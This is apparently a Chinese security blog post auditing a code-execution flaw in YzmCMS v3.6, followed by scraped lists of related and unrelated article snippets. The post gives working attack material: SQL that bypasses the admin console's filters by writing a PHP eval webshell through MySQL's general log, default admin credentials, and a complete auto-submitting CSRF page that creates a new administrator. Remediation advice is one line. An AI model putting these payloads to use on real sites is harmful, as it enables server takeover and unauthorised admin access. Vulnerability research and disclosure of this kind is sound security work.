【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析
0x00 环境准备
YzmCMS官网:http://www.yzmcms.com/
程序源码下载:http://pan.baidu.com/s/1pKA4u99
测试网站首页:

0x01 代码分析
1、文件位置: /application/admin/controller/sql.class.php第10-42行中:
- public function init() {
- if(isset($_POST['sqlstr'])){
- if(!C('sql_execute')) showmsg('根据系统配置,不允许在线执行SQL命令!', 'stop');
- $sqlstr = MAGIC_QUOTES_GPC ? stripslashes($_POST['sqlstr']) : $_POST['sqlstr'];
- $sqlstr = rtrim(trim($sqlstr), ';');
- $sqls = $_POST['action']=='many' ? explode(';', $sqlstr) : array(0 => $sqlstr);
- $admin = D('admin');
- foreach($sqls as $sql){
- 10. if(stristr($sql, 'outfile')){
- 11. $str = '<span class="c-red">ERROR : 检测到非法字符 “outfile”!</span>';
- 12. break;
- 13. }
- 14. if(stristr($sql, '.php')){
- 15. $str = '<span class="c-red">ERROR : 检测到非法字符 “.php” !</span>';
- 16. break;
- 17. }
- 18. if(preg_match("/^drop(.*)database/i", $sql)){
- 19. $str = '<span class="c-red">ERROR : 不允许删除数据库!</span>';
- 20. break;
- 21. }
- 22. $result = $admin->query($sql);
- 23. if($result){
- 24. $str = '<span style="color:green">OK : 执行成功!</span>';
- 25. if(is_object($result) || is_resource($result)){
- 26. $arr = $admin->fetch_all($result);
- 27. }
- 28. }else{
- 29. $str = '<span class="c-red">ERROR : 执行失败!</span>';
- 30. break;
- 31. }
- 32. }
- 33. }
这段函数中对提交的sql参数进行还原处理,然后进行非法字符检测,检测字符是否存在”oufile”、”.php”,匹配是否有删除数据的操作等。
2、如何绕过这种限制?
首页,outfile被禁止,第一时间想到的就是SQL语句利用日志写入文件,但是写入脚本文件”.php”会被检测到非法字符;然后,尝试MySQL中concat函数来连接字符串,拆分’.php’关键词,如 CONCAT("test.","php");最后构造出可以写入文件,绕过非法字符检测的的SQL语句,从而触发代码执行漏洞,控制服务器。
Payload:
- show variables like '%general%'; #查看配置
- set global general_log = on; #开启general log模式
- set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php");
- select '<?php eval($_POST[cmd]);?>'; #写入shell
0x02 漏洞利用
A、如何获取后台管理员权限
有两种思路:
思路A:通过默认信息,弱口令登录
默认后台路径:http://127.0.0.1/admin/index/login.html
管理员默认账号密码均为:yzmcms
思路B:通过CSRF漏洞,诱导管理员访问,自动在后台添加管理员账号。
CSRF漏洞利用代码如下:
- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
- <html>
- <head>
- <title>OWASP CRSFTester Demonstration</title>
- </head>
- <body onload="javascript:fireForms()">
- <script language="JavaScript">
- var pauses = new Array( "68" );
- 10.
11. function pausecomp(millis)
12. {
- 13. var date = new Date();
- 14. var curDate = null;
- 15.
- 16. do { curDate = new Date(); }
- 17. while(curDate-date < millis);
18. }
- 19.
20. function fireForms()
21. {
- 22. var count = 1;
- 23. var i=0;
- 24.
- 25. for(i=0; i<count; i++)
- 26. {
- 27. document.forms[i].submit();
- 28.
- 29. pausecomp(pauses[i]);
- 30. }
31. }
- 32.
33. </script>
34. <H2>OWASP CRSFTester Demonstration</H2>
35. <form method="POST" name="form0" action="http://127.0.0.1:80/admin/admin_manage/add.html">
36. <input type="hidden" name="adminname" value="admin"/>
37. <input type="hidden" name="password" value="abc123!"/>
38. <input type="hidden" name="password2" value="abc123!"/>
39. <input type="hidden" name="email" value=""/>
40. <input type="hidden" name="realname" value=""/>
41. <input type="hidden" name="roleid" value="1"/>
42. <input type="hidden" name="dosubmit" value="1"/>
43. </form>
44. </body>
45. </html>
B、代码执行漏洞利用
Payload:
- show variables like '%general%'; #查看配置
- set global general_log = on; #开启general log模式
- set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php");
- select '<?php eval($_POST[cmd]);?>'; #写入shell
1、 执行sql语句,查看mysql日志配置情况

2、 根据日志文件位置或者默认站点路径来推测站点目录,可用load_file()函数来测试,确认站点目录位置。或者通过phpinfo()等信息收集获取站点目录。

3、 分别执行下列sql语句,将脚本代码写入文件:
set global general_log = on;
set global general_log_file =CONCAT("E:\\study\\WWW\\YzmCMS\\test.","php"); select '<?php eval($_POST[cmd]);?>';

4、 提交参数,执行脚本代码:

5、 通过菜刀连接,获取服务器控制权限:

0x03 修复建议
1、Mysql数据库降权处理,让入侵者无法做高权限下可做的事!
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析的更多相关文章
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- 【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...
- 【代码审计】大米CMS_V5.5.3 任意文件删除及代码执行漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析
0x00 环境准备 OTCMS官网:http://otcms.com 网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31] 程序源码下载:http://d.otcms.c ...
- 【代码审计】大米CMS_V5.5.3 代码执行漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】XYHCMS V3.5代码执行漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】QYKCMS_v4.3.2 后台down.php页面代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】DouPHP_v1.3代码执行漏洞分析
0x00 环境准备 DouPHP官网:http://www.douco.com/ 程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002. ...
- 【代码审计】iZhanCMS_v2.1 代码执行漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
随机推荐
- 在Springboot2.0项目中使用Druid配置多数据源
在Springboot出现之前配置数据源以及相关的事物,缓存等内容一直是个繁琐的工作,但是Springboot出现后这些基本都可以靠默认配置搞定,就变得很轻松了.这就是现在推崇模板>配置的原因, ...
- html&css 易忽略的知识点
1.input标签的readonly属性 <input type="text" readonly="readonly"/>
- iframe实现Ajax文件上传效果示例
<!doctype html> <html> <head> <meta charset=utf-8> <head> <title> ...
- nodejs sass安装报错一招解决
背景: 这个问题不是一天两天了,有时候是网速不行,有时候是被墙了,有时候是github把node-sass的包转移目录导致下载失败. Cannot download "https://git ...
- CSS 布局整理
1.css垂直水平居中 效果: HTML代码: <div id="container"> <div id="center-div">&l ...
- 《Unix&Linux大学教程》学习笔记七:进程与作业控制
1:进程:一个内存中的程序+程序所需数据+管理程序的各种状态信息. 2:进程由内核进行管理,内核使用调度器,给予进程一个时间片来运行,然后切换到下一个进程. 3:进程分叉 fork :创建一个子进程 ...
- 一篇文章让你读懂iOS和Android的历史起源
智能手机虽说是移动电话,但我们完全可以将其作为小型化的电脑来思考.这样一来也能够显示出智能手机OS的高性能.我们首先一起来回顾下智能手机OS的历史. OS的黎明期 其实在很早之前就已经有这样的想法,即 ...
- 【转载】js关闭当前页面(窗口)的几种方式总结
1. 不带任何提示关闭窗口的js代码 复制代码代码如下: <a href="javascript:window.opener=null;window.open('','_self'); ...
- echarts 通过dom获取echarts实例,批量监听reset
重点在于 echarts.getInstanceByDom 这个 API 我的js: // 懒加载优化:滚动节流策略 var __SCROLLTIMER__ = null // 重新设置 echart ...
- MVC 打印解决方案--SNF快速开发平台3.1
SNF-MVC打印报表方案: 报表模块创建的过程如下: 利用Stimulsoft Reports客户端报表工具新增一个报表文件 *.mrt 当然你也可以拿好用的*.mrt模版文件进行复制出来一个,我常 ...